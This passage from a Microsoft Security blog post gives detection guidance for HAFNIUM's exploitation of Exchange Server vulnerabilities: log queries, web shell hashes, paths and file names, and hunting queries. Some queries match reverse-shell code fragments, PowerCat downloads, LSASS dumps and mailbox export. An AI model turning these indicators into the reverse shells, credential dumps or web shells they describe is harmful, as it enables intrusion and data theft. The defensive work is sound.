    • Exploitation of this deserialization bug will create Application events with the following properties:
      • Source: MSExchange Unified Messaging
      • EntryType: Error
      • Event Message Contains: System.InvalidCastException
    • Following is PowerShell command to query the Application Event Log for these log entries:

Get-EventLog -LogName Application -Source “MSExchange Unified Messaging” -EntryType Error | Where-Object { $_.Message -like “*System.InvalidCastException*” }

  • CVE-2021-27065 exploitation can be detected via the following Exchange log files:
    • C:\Program Files\Microsoft\Exchange Server\V15\Logging\ECP\Server

All Set-<AppName>VirtualDirectory properties should never contain script. InternalUrl and ExternalUrl should only be valid Uris.

    • Following is a PowerShell command to search for potential exploitation:

Select-String -Path “$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\ECP\Server\*.log” -Pattern ‘Set-.+VirtualDirectory’

Host IOCs


Web shell hashes

  • b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0
  • 097549cf7d0f76f0d99edf8b2d91c60977fd6a96e4b8c3c94b0b1733dc026d3e
  • 2b6f1ebb2208e93ade4a6424555d6a8341fd6d9f60c25e44afe11008f5c1aad1
  • 65149e036fff06026d80ac9ad4d156332822dc93142cf1a122b1841ec8de34b5
  • 511df0e2df9bfa5521b588cc4bb5f8c5a321801b803394ebc493db1ef3c78fa1
  • 4edc7770464a14f54d17f36dc9d0fe854f68b346b27b35a6f5839adf1f13f8ea
  • 811157f9c7003ba8d17b45eb3cf09bef2cecd2701cedb675274949296a6a183d
  • 1631a90eb5395c4e19c7dbcbf611bbe6444ff312eb7937e286e4637cb9e72944


We observed web shells in the following paths:

  • C:\inetpub\wwwroot\aspnet_client\
  • C:\inetpub\wwwroot\aspnet_client\system_web\
  • In Microsoft Exchange Server installation paths such as:
    • %PROGRAMFILES%\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\
    • C:\Exchange\FrontEnd\HttpProxy\owa\auth\

The web shells we detected had the following file names:

  • web.aspx
  • help.aspx
  • document.aspx
  • errorEE.aspx
  • errorEEE.aspx
  • errorEW.aspx
  • errorFF.aspx
  • healthcheck.aspx
  • aspnet_www.aspx
  • aspnet_client.aspx
  • xx.aspx
  • shell.aspx
  • aspnet_iisstart.aspx
  • one.aspx

 Check for suspicious .zip, .rar, and .7z files in C:\ProgramData\, which may indicate possible data exfiltration.

Customers should monitor these paths for LSASS dumps:

  • C:\windows\temp\
  • C:\root\


Many of the following detections are for post-breach techniques used by HAFNIUM. So while these help detect some of the specific current attacks that Microsoft has observed it remains very important to apply the recently released updates for CVE-2021-26855, CVE-2021-26857, CVE-2021-27065 and CVE-2021-26858.

Microsoft Defender Antivirus detections

Please note that some of these detections are generic detections and not unique to this campaign or these exploits.

  • Exploit:Script/Exmann.A!dha
  • Behavior:Win32/Exmann.A
  • Backdoor:ASP/SecChecker.A
  • Backdoor:JS/Webshell (not unique)
  • Trojan:JS/Chopper!dha (not unique)
  • Behavior:Win32/DumpLsass.A!attk (not unique)
  • Backdoor:HTML/TwoFaceVar.B (not unique)

Microsoft Defender for Endpoint detections

  • Suspicious Exchange UM process creation
  • Suspicious Exchange UM file creation
  • Possible web shell installation (not unique)
  • Process memory dump (not unique)

Azure Sentinel detections

Advanced hunting queries

To locate possible exploitation activity related to the contents of this blog, you can run the following advanced hunting queries via Microsoft Defender for Endpoint and Azure Sentinel:

Microsoft Defender for Endpoint advanced hunting queries

Microsoft 365 Defender customers can find related hunting queries below or at this GitHub location:

Additional queries and information are available via Threat Analytics portal for Microsoft Defender customers.

UMWorkerProcess.exe in Exchange creating abnormal content

Look for Microsoft Exchange Server’s Unified Messaging service creating non-standard content on disk, which could indicate web shells or other malicious content, suggesting exploitation of CVE-2021-26858 vulnerability:

DeviceFileEvents | where InitiatingProcessFileName == "UMWorkerProcess.exe" | where FileName != "CacheCleanup.bin" | where FileName !endswith ".txt"
| where FileName !endswith ".LOG" | where FileName !endswith ".cfg" | where FileName != "cleanup.bin"

UMWorkerProcess.exe spawning

Look for Microsoft Exchange Server’s Unified Messaging service spawning abnormal subprocesses, suggesting exploitation of CVE-2021-26857 vulnerability:

| where InitiatingProcessFileName == "UMWorkerProcess.exe" | where FileName != "wermgr.exe" | where FileName != "WerFault.exe"

Please note excessive spawning of wermgr.exe and WerFault.exe could be an indicator of compromise due to the service crashing during deserialization.

Azure Sentinel advanced hunting queries

Azure Sentinel customers can find a Sentinel query containing these indicators in the Azure Sentinel Portal or at this GitHub location:

Look for Nishang Invoke-PowerShellTcpOneLine in Windows Event Logging:

SecurityEvent  | where EventID == 4688  | where Process has_any ("powershell.exe", "PowerShell_ISE.exe")  | where CommandLine has "$client = New-Object System.Net.Sockets.TCPClient"

Look for downloads of PowerCat in cmd and Powershell command line logging in Windows Event Logs:

SecurityEvent  | where EventID == 4688  | where Process has_any ("cmd.exe", "powershell.exe", "PowerShell_ISE.exe")  | where CommandLine has ""

Look for Exchange PowerShell Snapin being loaded. This can be used to export mailbox data, subsequent command lines should be inspected to verify usage:

SecurityEvent  | where EventID == 4688  | where Process has_any ("cmd.exe", "powershell.exe", "PowerShell_ISE.exe")  | where isnotempty(CommandLine)  | where CommandLine contains "Add-PSSnapin Microsoft.Exchange.Powershell.Snapin"  | summarize FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by Computer, Account, CommandLine


The post HAFNIUM targeting Exchange Servers with 0-day exploits appeared first on Microsoft Security.